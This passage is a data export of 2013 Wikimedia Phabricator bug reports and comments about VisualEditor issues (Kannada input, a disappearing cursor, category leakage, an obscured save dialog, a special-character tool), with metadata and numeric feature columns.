Could you confirm/correct the above steps, and explain which ""built-in IME"" you exactly tried?",,,1372414516,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,2,True,,,-1,,0.5,0.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,2.0,0.0,3.0,9.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,2.0,0.0,0.0,3.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,11.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,3.0,1.5,13.5,0.5,3.0,5.5,0.0,0.0,0.5,0.0,7.5,0.0,1.5,0.0,3.5,9.5,5.5,1.0,7.0,0.0,3.5,0.0,1.0,0.5,0.0,1.0,0.0,0.0,2.5,3.2220246238030095,0.7076607387140903,"Thanks for taking the time to report this and testing VE!
What are the exact steps to reproduce this?

I tried:
1. Make sure to be logged in on URL
2. Make sure that on URL > ""Beta features >  Enable VisualEditor (only in the main and user namespaces)"" is enabled.
3. Go to a random article like URL
4. I can confirm that keyboard cursor in on top of text, but I can type (Firefox 18).

5. Click the cog next to ""ಇತರ ಭಾಷೆಗಳು"" (In other languages) and choose ""Input settings"".
6. ""Input methods for ಕನ್ನಡ"" says ""Use native keyboard"".

So here I have several options.

Could you confirm/correct the above steps, and explain which ""built-in IME"" you exactly tried?"
233582,VE does not support typing in Kannada,"VE screenshot just after pressing Enter key

**Attached**: {F11102}",,,1372413796,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5294117647058822,0.8235294117647058,"VE screenshot just after pressing Enter key

**Attached**: {F11102}"
233580,VE does not support typing in Kannada,"VE screenshot just before pressing Enter key

**Attached**: {F11101}",,,1372413758,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.588235294117647,0.8235294117647058,"VE screenshot just before pressing Enter key

**Attached**: {F11101}"
52338,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears","As Rob spotted, we should (re-)place the cursor in the block.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372384440,1372706749.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jidkdocy777f7fa4pk3t,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.84375,0.6875,"As Rob spotted, we should (re-)place the cursor in the block.

--------------------------
**Version**: unspecified
**Severity**: normal"
233122,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears",Merged and will be deployed shortly.,,,1372706749,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jidkdocy777f7fa4pk3t,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,Merged and will be deployed shortly.
233116,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears","Change 71388 merged by jenkins-bot:
Restore focus to documentNode on convert

https://gerrit.wikimedia.org/r/71388",,,1372706703,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jidkdocy777f7fa4pk3t,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,18.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.647058823529412,1.0,"Change 71388 merged by jenkins-bot:
Restore focus to documentNode on convert

GERRIT_URL"
233110,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears","Change 71388 had a related patch set uploaded by Robmoen:
Restore focus to documentNode on convert

https://gerrit.wikimedia.org/r/71388",,,1372705249,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jidkdocy777f7fa4pk3t,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,"Change 71388 had a related patch set uploaded by Robmoen:
Restore focus to documentNode on convert

GERRIT_URL"
233104,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears","On a note about this at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Cursor_disappears, I tested - I don't have the issue in Chrome (the cursor remains), but it is evidently still disappearing in Firefox. Just an FYI. :)",,,1372595247,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-jidkdocy777f7fa4pk3t,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,3.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,21.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,13.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.3947368421052633,0.8947368421052632,"On a note about this at URL I tested - I don't have the issue in Chrome (the cursor remains), but it is evidently still disappearing in Firefox. Just an FYI. :)"
52332,VisualEditor: Category leaks out of transclusion when round-tripped through VE,"Example diff:

https://en.wikipedia.org/w/index.php?title=FC_Dila_Gori&curid=6581323&diff=561887535&oldid=561367008

Works in Parsoid:

echo '{{commons category}}' | node parse --wt2wt
{{commons category}}

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50120",High,80.0,1372375380,1373500548.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-cc4653x6b7o5qyh3ddoy,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.169491525423729,0.4576271186440678,"Example diff:

URL

Works in Parsoid:

echo '{{commons category}}' | node parse --wt2wt
{{commons category}}

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
232708,VisualEditor: Category leaks out of transclusion when round-tripped through VE,This was fixed by the fix for bug 50120. The DOM produced by the {{commons category}} template is very similar to the persondata template.,,,1373500548,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cc4653x6b7o5qyh3ddoy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,27.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,10.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.7666666666666667,This was fixed by the fix for bug 50120. The DOM produced by the {{commons category}} template is very similar to the persondata template.
232702,VisualEditor: Category leaks out of transclusion when round-tripped through VE,"Looks like a link element that is also encapsulated is not properly handled by VE:

<link rel=""mw:WikiLink/Category"" href=""./Category:Commons_category_without_a_link_on_Wikidata"" data-parsoid='{""stx"":""simple"",""a"":{""href"":""./Category:Commons_category_without_a_link_on_Wikidata""},""sa"":{""href"":""Category:Commons category without a link on Wikidata""}}' about=""#mwt1"">",,,1373485070,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cc4653x6b7o5qyh3ddoy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,10.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,6.938775510204081,0.7551020408163265,"Looks like a link element that is also encapsulated is not properly handled by VE:

<link rel=""mw:WikiLink/Category"" href=""./Category:Commons_category_without_a_link_on_Wikidata"" data-parsoid='{""stx"":""simple"",""a"":{""href"":""./Category:Commons_category_without_a_link_on_Wikidata""},""sa"":{""href"":""Category:Commons category without a link on Wikidata""}}' about=""#mwt1"">"
52324,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),"Screenshot

Screenshot - FireFox 21.0, Mac OS X 10.6.8

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11044}",High,80.0,1372368720,1372446220.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-q4tev2wggvrevxlx57l3,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.641025641025641,0.5641025641025641,"Screenshot

Screenshot - FireFox 21.0, Mac OS X 10.6.8

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11044}"
232175,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),"Yes, this was fixed but the deployment was temporarily rolled-back until ~ 13:40 UTC today.",,,1372446220,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.052631578947368,0.9473684210526315,"Yes, this was fixed but the deployment was temporarily rolled-back until ~ 13:40 UTC today."
232168,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),Maybe it's fixed but not out yet? http://it.wikipedia.org/wiki/File:Schermata_2013-06-28_alle_15.15.44.png on it.wiki this afternoon.,,,1372444061,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,1.0,Maybe it's fixed but not out yet? URL on it.wiki this afternoon.
232163,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),*** Bug 50364 has been marked as a duplicate of this bug. ***,,,1372417299,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50364 has been marked as a duplicate of this bug. ***
232157,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),*** Bug 50276 has been marked as a duplicate of this bug. ***,,,1372387036,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50276 has been marked as a duplicate of this bug. ***
232151,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),Fixed and will be going out in the next few minutes.,,,1372380458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,True,,,-1,,8.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5,1.0,Fixed and will be going out in the next few minutes.
232144,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),"Change 70786 merged by jenkins-bot:
Fix bug where the floating toolbar was on top of the save dialog

https://gerrit.wikimedia.org/r/70786",,,1372378996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.9583333333333334,"Change 70786 merged by jenkins-bot:
Fix bug where the floating toolbar was on top of the save dialog

GERRIT_URL"
232139,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),"Change 70786 had a related patch set uploaded by Jforrester:
Fix bug where the floating toolbar was on top of the save dialog

https://gerrit.wikimedia.org/r/70786",,,1372373151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,15.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.296296296296297,0.9629629629629629,"Change 70786 had a related patch set uploaded by Jforrester:
Fix bug where the floating toolbar was on top of the save dialog

GERRIT_URL"
52296,VisualEditor: Provide a character insertion tool,"The VisualEditor doesn't currently have a mechanism for inserting special characters - while a lot of them are unnecessary (`~~~~` for example), things like en and emdashes can be quite important for content.

**See Also**: {T13130}",High,80.0,1372349160,1386312920.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,12.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0,0.8775510204081632,"The VisualEditor doesn't currently have a mechanism for inserting special characters - while a lot of them are unnecessary (CODE for example), things like en and emdashes can be quite important for content.

**See Also**: {T13130}"
230425,VisualEditor: Provide a character insertion tool,"(In reply to comment #36)
> 1: no one knows them/uses them

Well, that disscutalbe, but I tend to think the same. No one knows them, because you dont need to know them for normal sw use.

> So some ideas:
> 1: Educate the user: Add a 'more characters' link in the insert symbol
> editor,
> that detects OS of user and links to a page explaining how to access this
> panel
> on his OS.

Why to make it more difficult for users. We want them to attract to Wikipedia and we wont do do the environment as easy as possible. Our goal is not to educate them further things.",,,1387303644,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,1.0,6.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,16.0,2.0,2.0,4.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,11.0,13.0,7.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,0.0,3.3617021276595747,0.6382978723404256,"(In reply to comment #36)
QUOTE

Well, that disscutalbe, but I tend to think the same. No one knows them, because you dont need to know them for normal sw use.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Why to make it more difficult for users. We want them to attract to Wikipedia and we wont do do the environment as easy as possible. Our goal is not to educate them further things."
230423,VisualEditor: Provide a character insertion tool,"Change 90940 merged by jenkins-bot:
Insert special character tool

https://gerrit.wikimedia.org/r/90940",,,1386312904,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 90940 merged by jenkins-bot:
Insert special character tool

GERRIT_URL"
230422,VisualEditor: Provide a character insertion tool,"""Educating"" the user strikes me as a sign of failure for a supposedly ""easier"" UI. The ""harder"" UI has it right there, after all.",,,1385650860,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,21,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,18.0,0.0,6.0,0.0,0.0,6.0,3.0,3.0,6.0,0.0,0.0,3.212121212121212,0.7575757575757576,"""Educating"" the user strikes me as a sign of failure for a supposedly ""easier"" UI. The ""harder"" UI has it right there, after all."
230420,VisualEditor: Provide a character insertion tool,"> Just for reference: Either I didn't read all the comments well enough or nobody
> quite mentioned the fact that all modern desktop operating environments have a
> built-in a Character Map tool: Windows (with pretty full Unicode since NT 4),
